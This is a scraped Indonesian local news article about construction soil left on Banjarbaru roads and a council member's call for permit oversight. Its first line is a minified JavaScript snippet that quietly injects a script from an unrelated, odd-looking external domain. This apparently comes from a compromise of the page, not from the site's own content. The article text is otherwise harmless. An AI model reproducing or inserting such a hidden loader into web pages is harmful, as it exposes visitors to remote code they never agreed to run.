(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tanah urukan yang dibawa truk untuk memulai pembangunan terkadang ikut terbawa ke jalan raya menyisakan masalah bagi pengendara.
Hal kecil yang seharusnya setelah melakukan urukan tanah langsung disiram untuk menghilangkan sisa-sisa tanah yang tertinggal di jalan, namun tidak semua permasalah tersebut menjadi perhatian para pihak yang melakukan pembangunan.
Sebab dari sisa-sisa tanah yang tertinggal di jalan menyebabkan masyarakat menjadi korbannya, jika hujan jalanan akan licin. Sebaliknya ketika panas jalan akan menjadi berdebu dan tidak sedikit menyebabkan kecelakaan karena gundukan tanah yang bersebaran di jalan umum.
Kondisi itu mendapat perhatian Anggota Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Norkhalis Ansari.
Sisa urukan terkait pembangunan gedung seperti bangunan gedung besar yang perlu diperhatikan adalah izin mendirikan bangunan. Kemudian terkait sisa pekerjaan tidak dibenarkan berserakan sembarangan di jalan apalagi membuat sulit masyarakat.
“Terkait sisa pekerjaan, tidak dibenarkan apalagi dapat mengganggu jalan,” ujarnya, Senin (14/2/2022).
Seharusnya, setelah setelah selesai pekerjaan harus dilakukan penyemprotan agar tidak mengganggu lalu lalang kendaraan masyarakat.
“Harus menjadi perhatian Pemko Banjarbaru, selain cek izin bangunannya,” tambahnya.
Menurutnya ketika melakukan pembangunan apalagi sebuah bangunan besar, harus dilakukan pengawasan sejak dini oleh Disperkim maupun Dinas PUPR. Hal ini bertujuan untuk menghindari adanya pelanggaran regulasi.
“Jika bangunan tersebut tidak diawasi sedari awal, maka kedepannya akan sulit untuk menindak apalagi melakukan pembongkaran,” ucapnya.
DPRD Kota Banjarbaru sedang menyiapkan regulasi perizinan pembangunan gedung. Sekarang berubah menjadi retribusi persetujuan pembangunan gedung yang sudah disahkan tahun lalu. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
This website uses cookies.